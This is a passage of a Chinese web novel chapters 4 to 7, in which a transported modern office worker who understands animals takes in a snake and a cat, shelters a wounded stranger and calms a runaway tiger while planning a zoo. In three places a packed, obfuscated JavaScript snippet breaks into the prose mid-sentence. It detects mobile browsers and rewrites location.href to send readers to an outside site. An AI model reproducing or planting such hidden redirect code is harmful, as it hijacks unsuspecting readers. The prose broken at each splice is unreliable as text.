“情况紧急,哪顾得上看呐。”男人急得跳脚,就算再缺乏常识,中毒之事需迅速破解才有生还机会这一点还是清楚的。 他哭肿的眼睛微微眯起,好像觉得眼前这人懂得如何解毒,踉跄地上前两步带着哭音道:“姑娘啊,你帮我家孩子看看吧,我愿意出双倍价格。” 苏卿卿连忙摆手下意识想拒绝,但眼神瞟向旁边围观的人,心思顿时一转。 反正都要完成系统的任务,挣系统的钱可比挣人的钱爽多了,只要趁现在这个机会光明正大地应下来,还能在大家心里树立一个好形象,以后买菜什么的说不准有讨价还价的机会。 人情这东西无论是在现代还是古代都很重要。 她在心里打好算盘,抬头对旁边的庸医说:“先处理伤口。” 然后又与男人对视,语气颇为冷静。 “告诉我你们刚才都去过那些地方。” - 时间快至正午,医馆外明显多了许多烟火味。 城楼高阁,屋宇鳞次栉比,街边到处都是身穿棉褂子的人,赶路送货的人,驻足说笑的人甚至还有站在岸边盯着桥头雪花压柳吟诗作对的人。 “食肆后面的小树林……”苏卿卿自言自语,急切地仰头寻找,哈出的白气消散在空气中。 好在这市集不算大,不多时就看到了食肆的招牌。她前脚刚走进这家店,小二后脚便利索的上前热情招待,服务效率堪比当代海底捞。 “诶诶,这位客官,”小二一手托着盘子,另一条胳膊忙拦住人,脸上透着精明,“您打尖还是住店?” 苏卿卿微微一笑:“我打蛇。” “……” “开玩笑的,其实我在帮人查案,需要去后面那树林里看看。”苏卿卿眼神真诚,说谎都不结巴。 小二没说什么,只是伸手从最近的桌子拿起一个脏碗放到托盘上,然后站在原地一动不动,满目怀疑不肯退步分毫。 这下难办了。 如果时间充裕,凭借职场人在各个会议中修炼出来的三寸不烂金舌也能把对方说得七荤八素。只是现在可没有打辩论的时间,硬闯的话又没准会被门口大汉直接抓走审问。 矛盾之际,苏卿卿耳朵突然动了动,眼里闪过一道白光,不由得低头轻笑。 下一秒,她无奈指了个方向:“那边有只老鼠在偷吃下酒菜,你不去管管?” 小二:“?” 老鼠:“……” “这家伙怎么又来了!” 餐桌之后随即传来锅碗瓢盆一阵碰撞。 等到小二的注意力彻底被老鼠吸引走,苏卿卿掸了掸身上的灰转身进了酒馆后院。 天寒地冻,后院堆满木柴稻草。她虽然有系统加持,但好说歹说也没有应付过毒蛇,为了自卫迅速拿起杵在一旁的木棍,小步挪走。 “出来聊聊嘛~也确实是你咬人在先,解完毒我保证放你一条生路。” 在这片树林后面正对着的是一片山脉,所以不会有路人路过,她也可以尽情对空气叫嚣。 “呜……” 话音刚落,旁边的柴火堆下面传来哭泣的声音。 顺着声音摸过去,在竹笼拿出来的一瞬间,苏卿卿的眼神顿时直了。 这么小只的毒蛇,就像编织的手绳一样,毒性居然那么大? “额…是你咬了人脚踝吗?” “呜呜呜……嗯……” “……你哭个什么,那边都要出人命了!你贡献血清积极点!” 苏卿卿不多废话,直接拎着竹筒跑到街上,脚下生风,耳边隔着呼呼风声,在小二嚷嚷的声音越来越远后依稀能听到这小蛇的自我辩解。 意思大概是,它没有故意咬人,是那小孩顽劣不堪,非要掰开它的嘴还嘲笑它牙不齐…… - “快!快来人!” 医馆里的人闻声齐齐转头,见到苏卿卿回来,全都两眼放光,像是看到了救星。 碍于众目睽睽,也碍于她无法将系统的事情公之于众。 苏卿卿最终没有说出真实情况,只好默默答应委屈的小蛇接下来的日子可以住在她家。 这家真快成动物园了。 医馆的书册中有关于此毒蛇的记录,如此一来便可以针对性治疗。 这蛇是毒也是药,但人们对于冷血动物还是天然存在恐惧心理,研究完毕后连笼带蛇一起丢出房门。 竹笼脱离后掉到地上,苏卿卿忙伸出胳膊接住被甩出来的小东西。 小蛇又软又滑,虚弱地说了声谢谢然后乖乖卧在她的手掌上。 “哎呀,姑娘,这玩意儿怎么这么听话?”一旁挎着篮子的大娘惊讶地问,但又不敢靠太近。 苏卿卿笑着点头:“其他的动物也伤不了我。” “因为……” 她突然停顿,故意卖了个关子然后小声道:“这是我的秘密,若是各位想要知道的话,可以过几天等我凑个动物园出来。” “?!” “动物园?” 一句话顿时如水入油锅,人群顿时热闹了起来。 毕竟只有贵族王府才可能拥有专属的猎园,各种稀罕生物放养其中,他们这种寻常百姓平日能接触到的也只有路边脏兮兮的流浪猫流浪狗。 想在这里开动物园,简直就是前所未闻的事情! 不过大家生活枯燥,就算知道希望不大还是愿意畅想图个新鲜,纷纷就这个话题商讨起来,甚至有人捧场地说一定带着全家老小捧场。 苏卿卿抱臂看着人们叽叽嚷嚷的样子,若有所思。 自己现在最缺的就是钱,家中上有老下有小,药和粮食的花销都不在少数。 什么搞钱快? 答:做生意! 想要将生意做起来需要启动资金和大量的人手。 资金方面,自己再努力多完成些系统的任务应该可以积累下来。人手方面,其实……也不一定非得是人。 刚刚随口一说的开动物园的大话细想来竟然也不是完全不可行。 - 晚风习习,夜色逐渐深沉,皎洁的明月挂在空中,空气中仿佛飘荡着淡淡的雾气。 苏卿卿走在街上加快脚步,满脑子都是做生意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091476|195439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的诸多事宜,正准备回家问问昨天收留的狗狗对于“动物园”的看法。 突然,隔壁的小道有一阵快速逼近的脚步声打断了思路,转身时余光还看到有不少黑衣人的影子掠过,似乎在追杀什么东西。 她下意识自我保护,赶忙侧身躲到旁边小巷的一个草堆后面,正好可以完美挡住。 疾风速起,气还未喘匀,就直觉感到自己身后传来一阵凉意和不可忽视的存在感。 苏卿卿转身一看,没人。 低头再一看,一个男人从头到脚穿着身黑长袍,正垂着脑袋抱膝缩在墙角里,只有发顶对着自己。 这…… 苏卿卿心里毫无波澜,猜想这可能是个没地方住的乞丐,这几日没少见到这些人,可是她现在的经济能力救济动物已是足够艰难。 人嘛,可就不归她管了。 两个人陷入沉默,一站一蹲动作僵持不下,刹那间空气都显得过于安静尴尬。 又维持了一阵,地上的男子真能做到纹丝不动。 她皱眉不禁怀疑这人是不是晕过去了,但当下又不能出去,毕竟刚刚那伙形迹可疑的人还没走远。 “你是……” 话还没说完,顿时,一股很浓的血腥味儿蔓延开来。 苏卿卿垂眸,对方的身下一片地很明显已经被逐渐渗出来的鲜血染红,可能是因为自己刚刚吐出的两个字,这人终于微微抬起头露出一丝活气。 难不成刚才被追杀的人就是他! 苏卿卿觉得此人身份存疑,收回想要搭讪的话,沉默着只是用目光打量了一番眼前人。黑暗中她看不到眼前人的五官,只能大致看到他的轮廓,身形瘦削,脸部线条分明,扎着个高马尾。 她暗自在心中下了定义——此人是个典型的帅哥。 没想到同一时间对方竟然跟能听到心声似的直接抬眸看了过来。 空气尴尬凝固,两人的目光相互纠缠。 半秒后,苏卿卿突然听到黑暗里传来一声轻笑,冰冷渗人,夹杂着不屑。 “……?” - “那家伙跑哪儿了?” “跑不了多远,我们都已经派人确认过了,他现在就是个活死人啊。” “这天怪冷的,就算咱们不下手,他回不去也活不了多久。” 话音再度由远及近地传来。 看来是那伙人搜查无果,绕了一圈又回到原地。 苏卿卿敏锐地察觉到了身边人的身子有些紧绷,就连呼吸也有些急促,完全不像刚刚那般冷静。 她蹲下身,伸手抚摸着对方手背安抚他的情绪,没想到对方竟然真的就安静下来。 外面的脚步声渐渐远去,但仍旧徘徊在周边。 “方才他们那些话你应该都听到了。” 男子开口第一句话,声音很好听,低沉而后带有丝丝沙哑,是她最喜欢的类型,只可惜当下这与浪漫毫不沾边的境遇了。 情急的状态下想到之前读过的好几本烂俗小说,眼下这剧情……有点熟悉,不会自己因为看到了什么不该看到的事情马上要被灭口吧。 苏卿卿顿时头昏脑涨,心说做生意的春秋大梦还没做完。 她抱着死马当活马医的态度,伸直手掌,语气坚定:“我是不会说出去的。” “谢谢。”对方回应的声音闷闷的,透着不可名状的真挚。 这倒是出乎意料。 苏卿卿从自己的怀里拿出今日采购的药材,能够用于止血。不过这伤口一旦上药,再冷静的人也会发出些动静,被周围这伙不罢休的人发现可就糟糕了。 她太阳穴生疼,一边在心里骂自己自顾不暇之余还心软爱管闲事的缺点,一边将药瓶塞到男子手里。 “你先走吧!我替你糊弄过去。” 5. 猫祖宗 喵~ “嘘!” 苏卿卿抱紧怀里的猫,一瘸一拐踏入自家院子,小心翼翼关上门,鞋子踩在雪上发出啥沙沙声响。 她灰头土脸,颈部还有一道浅浅的刮痕,衣服也被乱树枝划得又脏又烂,这副落魄模样还是最好不要让家人们发现,免得被误会什么又要提心吊胆。 歪七扭八的木头栅栏里收拾得还算齐整,只是地上的脚印纷乱非常,看来孩子们和流浪狗相处得不错,这让她于疲惫中长舒一口气。 怀里这只黑煤球似的猫还不见老实,它嘴巴被死死捂住,瞳孔收缩成一道竖线,心里正后悔刚刚路过不平拔刀相助的决定,要不是它的猫爪子锋利,这小姑娘肯定要被那三个黑衣人吊打。 不过……如果不是这样,它今天可能又要滚进草丛里睡觉,想到这里,黑猫慵懒地扬起尾巴决定不再挣扎。 “呼……不好意思。” 苏卿卿迈进门槛,将怀里的一团绒团还有盘成扣早就入眠的小蛇放到垫子上,再转身将门关上:“家里的人都睡了,你看我现在这样子实在是见不得人。” 黑猫竖起耳朵,毛茸的耳尖不明显一动,接着它低声笑笑:“还挺有自知之明,说吧,你犯了什么事啊,从衣服和武器来看那些人可不是普通的强盗。” 这小东西的声音就像是现代乙女卡牌游戏里的傲娇角色,懒散的语调习惯性拉长尾音。 “跟我没关系,只是在给一个人打掩护。” “那个人是谁?” “……不知道。” “长什么样?我在市集认识的人可多。” “……没看清长相。” 苏卿卿说完这些话突然觉得自己像一个白痴,那男子的身份,姓甚名谁,甚至是好人还是坏人都没摸清楚就直接主动申请当盾牌,真是活该受罪。 她无语一阵,打开窗户吹了会儿冷风才从自己的蠢里缓过来。 钱。 只有钱能让她觉得自己的智商还有上调可能性。 “两位,嘿嘿,”她双眼放光搓了搓手,“你们觉得假如我在这儿开个动物园,有没有搞头?” 小花蛇蠕动了一下,换了个姿势继续睡觉。 黑猫习惯了精神紧绷的熬夜生活,现在毫无困意,也觉得跟这人类说说话挺有意思,挪开挡在眼前的尾巴道:“有场地吗,看你家这穷困潦倒也不像是有地产的样子。” 苏卿卿觉得有被冒犯到,但还是认真点头:“钱的事情先不用考虑。”拼命完成系统任务就行。 嘶……只是这句缺少后半句的话一经说出,有股无与伦比的喜悦迅速涌现充满全身。 没想到当代社畜有朝一日也能说出这种台词! 黑猫轻盈蹿到旁边的桌子上舔了两口水,找了个舒适的角落窝起来闭上眼睛:“既然这样,我可以帮你问问其他流浪猫,算是报答你让我借住于此。” “谢谢猫大哥!” 这一天东奔西走,既当了假医生又当了假保镖,运动量已然超标。不多时,苏卿卿倒头就睡,梦里是她动物园开业红火,数钱数到手抽筋,掌声欢呼声和鲜花源源不断。 - 【叮!宿主任务奖励已发放,请尽快查收~】 苏卿卿朦胧间揉了揉眼睛,心想这系统声音跟闹钟没有两样,震得人心脏疼。然后打开系统界面在看到一百点商城金币的时候,她彻底清醒甚至觉得自己可以跑个一千二百米。 信女一生吃素,请以后每天都以这种方式叫醒我! 系统:…… 一日之计在于晨,今天一定是个幸运日。 苏卿卿睡不着了,脚下软绵绵得失去平衡,整个人晃晃悠悠走到院子里。 远山的轮廓如水墨般晕染开,雪大部分已经融化,枯树枝条挂着串串晶莹剔透的露珠,在阳光下闪闪发光。她裹紧厚袄面带微笑来回溜达,心理盘算着未来如何搞事业。 真要开动物园的话,最好开在人流量大而且人们日常有闲钱游玩享乐的地方。 如果是开在家所在的村子里,肯定是落个萧条的景象。也不能在市集,那地方商店密集空间不够,动物的叫声还会吵到来来往往的人,容易激起民怨。 最好就选址在村子与市集中间段,有水有山有树林,水陆空的动物来个一应俱全。 不过想法虽美,执行起来肯定是非常烧钱。 “系统,有没有什么来钱快的任务?”苏卿卿压低声音,眼神瞟向四周像是在做什么见不得人的事。 【……宿主,奖励越丰厚,任务难度越高,成功率越低。】 “你且说来听听。” 【解放圈养的老虎回归山林。】 ——一千点商城金币。 【投喂饥饿的狮子。】 ——一万点商城金币 【将豹子从制衣房猎人手下救出。】 ——五万点商城金币 “……” 金币诚可贵,生命价更高。 这时,那几条被收养的小狗摇着尾巴凑近,打断了她与系统的对话。 “老大!昨天你去哪了?” “苏老大,我们看家护院还帮你把孩子照顾得很好,有没有奖励呀~” “怎么受伤了?有人欺负你吗!” 一阵喧闹。 “等等等等,苏老大?谁教你们这样叫我的?”苏卿卿疑惑皱眉,脸上写着嫌弃两个大字。 其实倒也不是没被这么叫过,上班的时候同事大部分都是“无事苏卿卿,有事苏老大”,所以她对这个称呼存在生理性膈应,好像下一秒眼前就会出现如山的文档。 带头的小黄狗蹦着转了两圈,仰起头嘴角微微上扬:“之前在常氏兄弟那听来的,不喜欢的话,我们还是叫回主人吧。” “你们想叫什么都行,直接叫我卿卿最好。” “好啊,卿卿老大。” “……”不是说狗的智商挺高的吗? 苏卿卿无奈揉了揉额头,然后突然想起什么,蹲下身摸摸狗头继续道:“昨天我又带回来一条蛇和一只猫,你们好好相处吧,我想到一个赚钱的好点子,今天要出门琢磨琢磨。” “蛇?!” “猫……” “完了,好日子到头了。” 几条小狗蔫头搭脑顿时没了精气神,苏卿卿哭笑不得,心说看来这就算是在古代,猫祖宗依旧是猫祖宗。 “放心,回头攒个动物园,大家都是同级的,饿不饿?我来做点吃的吧。” 说完她走进厨房,抬眼看去锅碗瓢盆里食物充足的感觉真令人踏实。 拿出一部分存粮,她依稀记得动物好像不能吃盐,于是先将虾米碎捣碎混上些面粉简单蒸煮。 动物们的吃食做好后,下面该做人的了。 烧柴、洗菜、切菜、撒上适量的调料、煮粥,之前一日三餐都是汤多米少,现在碗里色香味俱全,米粒颗颗饱满晶莹剔透。 被系统叫醒的时间过早,她吃完暖暖的一顿后,左看右看还是没人睡醒,只好将食物用锅盖罩住,这样母亲和弟弟妹妹醒了之后也好自己热着吃。 - 冬日的风景,清冷却更显出朴实和宁静。 苏卿卿打点好家里,也在小狗水汪汪的眼神下充作严厉模样警告蛇和黑猫不许欺负老实人,还耐心用小动物能够理解的表达方式传达出合作共赢的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091477|195439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理念。然后她才放下心,气定神闲出门为开设动物园的美梦奔波去了。 路上行人并不像想象中那般少,苏卿卿心中暗自感慨大家都是苦命的早八人,自己这就算穿越到古代还是逃脱不了缺钱的命运,如果这些人反向穿越到现代体验加班文化搞不好会更崩溃吧。 在胡思乱想中走着走着很快便抵达了目的地。 之前从未留意,村子和县城中间道路两旁的空地山林已经被人围了个严实,搞不好是哪家贵族用来打猎的私有地盘。 也是自然,利用这好位置的点子总不会只有她一个人能想出来。 苏卿卿振作起来根本不觉得这算大事,打算先去县城买些保暖衣物让家里人能够过个暖和的冬天,回头再让猫大哥号召它的小弟们去广撒网捞捞有没有其他宝地,实在不行先开个迷你动物坊,一步一步来。 喵~ “果然没我不行~” 苏卿卿听到动静一回头,见地面正中间有只正在舔毛的猫,瞬间瞪大眼睛:“小黑?” 黑猫懒得理会这草率的名字,一蹬地利索跳到这人肩头上盘息。 身下的人一顿僵硬得跟个机甲一样。黑猫毛发又长又蓬松,胡须蹭着她脸颊麻痒,慢慢悠悠道:“怕你太没用,没有我会遭遇不测。” “……” 苏·毛绒绒晚期·卿卿点头:“嗯嗯嗯,是是是。” 黑猫尾巴优雅地起伏,心满意足。 一人一猫不知不觉便又来到这充满回忆的市集。 那天夜里三个黑衣人穷追不舍,身上什么武器都没有的苏卿卿危机关头瞥见房梁上冷漠旁观的猫,用猫罐头和夸张了不下十倍的住房条件成功说服它。 流浪猫的爪子疏于修剪大多尖锐,那三人的脸和手被一道移动速度很快的残影刮花,然后再抬头朝前看,目标人物早就一溜烟逃走,没了踪影。 苏卿卿想到那招帅气的疯狂乱抓,猫瘾上头又从头到尾捋了遍这柔软一团,小黑瞬间浑身毛发炸起,伸了爪子要挠她。 只可惜没了指甲的猫爪只剩软软粉嫩的垫子,毫无攻击力。 “看看有什么小食是你们动物喜欢的,一起买回去。” “喵!” 街道攘来熙往,各种手工艺品摆在铺子台面以及货架上,招牌旗帜随风飘扬,商贩们为了吸引顾客的吆喝声此起彼伏,偶尔还掺杂着赶路的马嘶长鸣。 苏卿卿想起自己用金币兑换的银两,顿时心情舒畅,享受地眯起眼睛,呼吸了一口自由的空气伸展双臂。 接下来的时间,从一家商铺再到另一家,她抱着好几袋点心和糖炒板栗不亦乐乎,心说将这些东西带回去家里人一定会很开心。 道路中间,一匹骏马拉着辆极繁华丽的马车缓缓驶来,马蹄哒哒作响,车轮滚过地面发出的声音清脆悦耳,苏卿卿被这豪气冲天的气势吸引着抬头看去,马车里的人也在这个时候掀开帘子看着窗外,他眉目如画,笑着享受这冬日暖阳照耀下的美丽风景。 “别看了,快点买完回去。”黑猫伸出爪子在发间拍打。 “诶呦,松……松手!”苏卿卿被这小东西勾着头发,脑袋向后仰,咬牙说自己这发量可是不能再少了。 在猫祖宗的催促下效率颇高,吃食方面很快便购置足够,仅还需要买几件过冬的衣裳。她接连问了两位路人指明方向,道谢后刚走了没多远。 鼓锣敲响,沉闷而压抑凄厉。 一声嘶吼从东市传到西市,停到刚刚那辆马车旁边。 “出事了!!老虎……老虎跑出来了!” ……? 苏卿卿半颗栗子哽在喉中,脚步一顿,一时间进退两难。 6. 我会驯兽! - 老虎,食肉动物,百兽之王。 怎么会真有人在家里养这东西啊!! 苏卿卿狂奔的时候在脑子里是怎么都想不明白这些有钱人家的奇怪爱好。 当然,前面的那辆豪华马车匆忙起来也完全失了风度,看来同样在后悔养老虎这件奇葩事。 系统准时响起提示: 【检测到宿主触发高阶动物,现已解锁该级别动物语言】 【鉴于危险性较高,系统决定将此任务列为非必要列表,宿主可自行安排,最后根据完成度发放奖励】 ——最高一千点商城金币。 苏卿卿承认,听到“非必要”的时候自己下意识停住脚步想要退缩。 紧接着又听到“一千”……直接两眼放光,瞬间化停顿的步伐为加速的动力! 刚刚那位传话小哥没资格也没时间上车,只得气喘吁吁跑在马车之后与苏卿卿之前。 不过当下由于金钱的力量,他俨然已经与这带着猫的奇女子跑在同一条水平线上。 小哥拼命摆动双臂,脚下持续加速不停,微微转头面露惊讶,脸上仿佛写着几个大字——“你是谁?从哪来?到哪去?这么不想要命?跟着凑什么热闹?” 得到的回应是来自黑猫嫌弃的一瞥。 穿过两条街,到了高府门前。 大冷的天,苏卿卿觉得自己浑身都在冒汗,黑猫这毛茸茸一团比羊绒围脖保暖效果还好。 她简单抹了两下额头,随后抬头看去,匾额上“高府”两个大字气势磅礴,三级台阶两侧立着两座石狮子看守大门,不愧是当地有名的富商之家。 这地方前几日登门拜访的人成群结队,此刻却是门可罗雀,一阵风吹过尽显冷清。 空气中安静得近乎诡异,站在门外听不到里面的任何声音。 这并不算是好事。 苏卿卿抬脚正要往里闯。门口的侍卫抬手将人拦住,低声呵斥道:“走走走,这不是你该来的地方。” 要搁在平时,她自然不会执而不化,但现在不仅人命关天,还涉及那一千金币啊! 苏卿卿整个人顿时勇起来,高声道:“我会驯兽!你不让我进去不要紧,老虎咬人,高府上下都要遭难!” 虚张声势这一招被她摸得透透的。 许是营造出有底气的模样太过真实,也许是对于她知道老虎一事感到震惊,两个守卫动作停滞,大眼瞪小眼,一时间不知该如何是好。 “既然这样,便与我一同进去看看情况吧。” 苏卿卿闻声转身,说话的人正是刚刚车上的那个男子,锦衣华服在他身上并不显得过分扎眼,反而衬出干净利落。 两个守卫看清来人,二话不说,忙恭敬地让开。 看来这人地位不低。 不过苏卿卿根本没功夫管这些,匆忙点头礼貌回应,撸了把黑猫缓解心中紧张,然后迈入门槛,站在这公子身前跟随身后指示狐假虎威地穿过月洞门,绕过亭子跨过拱桥来到了人群聚集的地方。 眼前的景象十分微妙。只见偌大假山石上站着一只虎,皮毛油量,四肢强健,体型匀称,黑色横向条纹像是某种象征权力的图腾肆意张扬。 仆从小厮们躲在回廊中,手里拿着木棍长刀对着空气随意比划着,哆哆嗦嗦任谁都能看出只是做做样子威胁。 他们扭头见到来人先是一愣,然后快步上前带着哭腔:“公公公公子!它它它突然不听话了还咬伤了驯兽技师,人已经送去处理伤口,但看那样子怕是赶不上老爷的乔迁宴了。” 听到这话,苏卿卿的记忆才稍稍回笼。这人口中的公子便是高府二公子高栖野,苏卿卿虽有关于这人的零散记忆却在穿越过来之后没有真正与之交涉过,所以也可以说是完完全全的陌生人。 大概是之前帮助过自己这原身,但贵人大多忘事,想必早已经把这芝麻大小事给忘了。 她松口气接着专注观察高处的危险因子,并没有注意到身后的男子一直有一抹疑惑的视线停在自己身上。 “这家伙从小养在府邸之中,细心养护,野性并不强烈,今日不知怎的突然发狂了。” “是呀,平时连笼子都不肯出,大家都嘲笑它本质是只大懒猫……” “喵!!” 苏卿卿肩膀上的黑猫顿时不爱听了,炸起浑身的毛示威。 “……咳,意思是以它的性情,直接打开笼子都未必主动出来。” 这倒是为苏卿卿解答了一部分疑点。 从刚刚站到这里开始她就在有意无意观察这只老虎,它不知是由于长期被人驯养还是刚咬了人过了瘾现在对人类这种生物兴趣了了,总之锋利的牙齿露在外面不时上下咬动,铜铃眼睛居高临下瞪着人们,身体却一动不动。 苏卿卿愁得挠头,心想自己是可以听懂动物语言,但不是读心术啊!这老虎怎么叫都不叫一声? 她又不能在这大喊“我叫你一声你敢答应吗”这类的,搞不好会被当成疯子。 下一秒,肩上突然一轻。 小黑猫抖了抖毛敏捷地蹿到假山上,高翘尾巴,昂首以一种十分优雅的姿态占据旁边的石头,步伐不疾不徐,成功吸引了老虎的注意力。 “这是?”高栖野没忍住俯身小声问道。 “咳……我的……助手。”苏卿卿说完尴尬地摸了摸鼻头。 两位都是猫科动物,传说还有师徒情义,应该可以交流感情……吧? 所有人盯着淡定的苏卿卿看了一会儿,疑惑是什么样的主人敢放任自己的猫走到老虎地盘里去。 不过自信是会传染的。 小厮们的眼神流转于旁边冷静的二人,很快便都莫名信服了,觉得这位二公子找来的女子定能把局面控制住,又齐齐抬头望去,一转刚刚的紧张心理,更多的像是看一场精彩动物表演。 可惜距离远声音小,一大一小两只毛茸茸的动物哼哼嘤嘤不知道在说什么,苏卿卿靠近了两步还是听不清。 不多时,老虎突然变换姿态原地蹲坐,抬起爪子的同时张开血盆大口。 正在所有人心里一惊,猜测这条猫命不久矣的时候—— 这老虎竟然只是将爪子轻轻放在小黑猫头上蹭了两下!? “喵!” 当然,三秒钟不到就被小黑嫌弃地扒拉了下去。 老虎不气不恼还嘴角上扬,细看还能看出些宠溺的味道。 回廊中的所有人:……哇哦…… 猛兽的情绪好像已经被成功稳定下来,只是除此之外还有一件大事没有解决办法。 “公子,明日乔迁宴……” 这宴会并不像名字这般单纯,老虎的寓意懂得都懂,想必是为了讨好某位高官。 这跟现代的酒局高尔夫球局并无二致。苏卿卿已经猜得八九不离十,面色冷静,转身对高栖野道:“高公子,借一步说话。” - 整个府邸占地不小,阳光透过院落里的高树投落满地细碎金色,枝头的鸣啾声不时传来,生动悦耳。 苏卿卿对那些鸟雀谈论的话题很感兴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091478|195439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 趣,偷听了一会儿忍俊不禁捂嘴发笑,在前面的人回头时又极力克制住换回严肃的神情。 被请到大堂后,高栖野屏退下人,又坐到桌边亲自盛上两杯茶。 “可以啊,我倒不知你还有驯兽的技术。”他率先开口,语气中带着些调笑,伸出手示意站着的人坐下,“只有咱们两个人就不必演戏了,说吧,你家中是否又有事需要本公子帮助?” 又? 苏卿卿面部肌肉一僵,心想所以是认识的关系吗,尬笑的同时拼命回忆自己穿越过来之前的记忆。 原身啊原身,你别是给我留了个桃花吧! 她缓缓坐下,端起茶杯故作矜持抿了一小口。 还是没想起来。 又抿了一小口。 好像有点印象了。 断断续续还不至于完全忘记,高栖野这人平日除了吃喝玩乐之外还有一个难以理解的古怪乐趣,那就是帮人要回债务。 不愁生计的他就是喜欢锄强扶弱,匡扶正义。 两年前,苏家之前与典当行发生争执,颇有心机的老板不仅层层削减兑换银两,还在刘氏想要将东西赎回的时候倒打一耙说钱数不对。 高栖野刚好路过,本身就手握不少证据的他当场揭露了这典当行贪得的所有银钱,最终让其落得个关店的大快人心的结局。 断人财路,后来意料之中被人怀恨在心,设计陷害,于荒郊野岭又再次被捡柴火的苏卿卿一起捡了回去。 正常的故事写到这里,这两个角色就应该发展感情线了吧。 可苏卿卿偏偏不记得那最重要的部分,对于后续发展是怎样的一片空白! “说吧,只要我能帮的忙铁定给你办妥,”高栖野见这人还不好意思张口,脸上闪过一丝浅笑,“都是兄弟!” 四个字落地,苏卿卿差点呛着。 兄…… 兄弟……? 怎么跟想象的剧情不太一样。 她觉得自己良好的心理素质正在受到攻击,深呼吸后索性不装了,仰头豪饮了一杯茶,稳定心神,当务之急还是了解这老虎的事情。 “这老虎……” “跟你上次见到的时候很不一样,对吧。” 苏卿卿一挑眉,心说原来之前见过,那就好办了。 她脸上挂起不好意思的笑容,用手指点了两下桌面:“我的确有件事要请你帮忙,而且与这老虎有关系。” “何事?” “那个……我想在县城外开个动物园,”苏卿卿习惯开门见山,然后再用絮叨的方式迭代观点。 “你家的老虎已经到了年纪,再养在府中已是不妥,它需要回归自然环境不然有违天理啊。我有驯兽的能力,你答应帮助我的话,眼下的难关我可以帮你顺利度过去。” “……” 高栖野手里的茶停在半空中都凉了,他呆愣在原地,确切的说,是一时接受的信息量过大,反应不过来。 过了好一会儿,他才揉了揉眉间决定先让这位声称能帮助自己解决燃眉之急的人了解时间的紧迫。 “家父为明日乔迁宴排了场虎戏,原因我就不多说了,知道太多对你没有好处,只是近几天每日排练都没有出过差错,眼看就要到最后一刻,你真能在半天之内想到办法吗。” “简单,无非外因和内因,一一排查即可。” 高栖野闻此言,抬眼问道:“你要见见驯兽的人吗?” 苏卿卿起身:“不,我要单独见见那只虎。” 高栖野:…… 7. 下棋看三步 - 午时。 顾不上吃饭,苏卿卿在一众视线的追随下途径外院池塘,横穿内院正门和连廊,马不停蹄奔向高府后花园。 温度暖了不少,忙活整整一上午的得力干将小黑猫正慵懒躺在甬路中央晒太阳,尾巴有一搭没一搭地摆动,全身松软的黑毛任微风吹起,惬意闲适。 而那只伤人的猛兽早已经被引回笼中,面壁思过。 高栖野虽对于“人虎对峙”这事一百个不放心,但被这人用“义气”“信任”等词汇搭配天花乱坠的好口才精准拿捏,晕头转向,最后实在招架不住还是无可奈何将其他看守尽数撤掉,留下一片完美清净地。 苏卿卿缓了几口气,直起身环顾四周,惊讶的表情一直挂在脸上越来越夸张。 后花园风景甚美,比村子里美太多了。 曲折游廊上攀爬着不少藤蔓,在寒冷的温度下依然保有生机绿意,石子甬路分开左右划出各个区域,汇集于中央处的五角形亭子,顺着檐柱向外望去,恰巧一阵风吹过,落在墙上漏窗的树枝影子来回舞动,让人想坐下来安静放空。 真是既有钱,又有审美。 努力拼个两辈子,能达到此等高度吗? 想到这儿,她收回视线,在心里告诫自己粗略欣赏就当长见识,要是再细品下去自己都快要被羡慕蒙蔽双眼,燃起仇富心理那格局就小成芝麻粒了! 深呼吸放平心态,苏卿卿冥想片刻,随之超然一转身。 “……” 纹理细腻的花雕,精致金属立柱像艺术的杰作,木雕古架上挂着各式各样的玩具,类似于丢给猫咪娱乐的毛线球,然而里面的大型动物一副习惯成自然的模样,碰都不碰。 天理何在!重要的是这老虎笼子比她村里的房子还要结实! 旁边摆放满满三盘子的吃食,打眼看去能判断出都是按照营养均衡的配比制作的,有些上等食材在普通市集根本没见过。 苏卿卿:……人不如虎系列。 忽的,肚子传出叫声。 其实她已经饿得前胸贴后背,但在没有捋清楚思路之前还是十分礼貌地没有去打扰老虎大哥吃午饭。 毕竟食不言寝不语,动物更是遵循专注干饭的本能。 她揉揉胃口背过身,又勾了勾食指将小黑叫到一旁的亭子里,稳坐石凳之后对着桌上睡眼惺忪的小团子张口问出自己最最好奇之事——假山上的对话内容。 